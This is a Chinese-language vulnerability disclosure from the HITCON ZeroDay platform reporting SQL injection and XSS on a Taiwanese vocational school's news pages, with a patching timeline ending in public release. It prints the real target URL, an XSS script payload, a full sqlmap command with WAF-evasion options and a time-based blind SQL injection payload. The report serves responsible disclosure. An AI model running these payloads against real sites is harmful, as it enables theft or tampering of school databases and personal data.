高英工商 資料庫注入漏洞&XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-00468
  •  發信 Vendor: TACERT台灣學術網路危機處理中心
  • Title: 高英工商 資料庫注入漏洞&XSS
  • Introduction: 資料庫注入漏洞&XSS

處理狀態

目前狀態

公開
Last Update : 2024/06/27
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2024/04/27 21:07:58 : 新提交 (由 Luna 更新此狀態)
  • 2024/04/27 21:09:35 : 新提交 (由 Luna 更新此狀態)
  • 2024/04/28 03:48:45 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/07 21:00:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/07 21:00:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/13 13:29:17 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2024/05/13 18:25:28 : 未修補完成 (由 Luna 更新此狀態)
  • 2024/05/22 09:44:35 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2024/05/23 23:20:17 : 未修補完成 (由 Luna 更新此狀態)
  • 2024/05/23 23:20:19 : 未修補完成 (由 Luna 更新此狀態)
  • 2024/05/30 11:41:25 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2024/05/30 23:17:32 : 未修補完成 (由 Luna 更新此狀態)
  • 2024/06/21 17:01:07 : 已修補 (由 組織帳號 更新此狀態)
  • 2024/06/27 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-00468
  • 通報者:LunarLuna (Luna)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.kyicvs.khc.edu.tw/main_newsdetial.php?news_id=12185&type_id=1
https://www.kyicvs.khc.edu.tw/main_news.php

敘述

SQL injection
URL:https://www.kyicvs.khc.edu.tw/main_newsdetial.php?news_id=12185&type_id=1
XSS payload:

"><script>alert("XSS")</script>

圖片
payload:

python sqlmap.py -u "https://www.kyicvs.khc.edu.tw/main_newsdetial.php?news_id=12185&type_id=1" --dbs -batch --threads 10 --skip waf --tamper=space2comment --level 2 --random-agent --dbms mysql

注入類型

---
Parameter: news_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: news_id=12185 AND (SELECT 9291 FROM (SELECT(SLEEP(5)))yGBZ)&type_id=1
---

圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;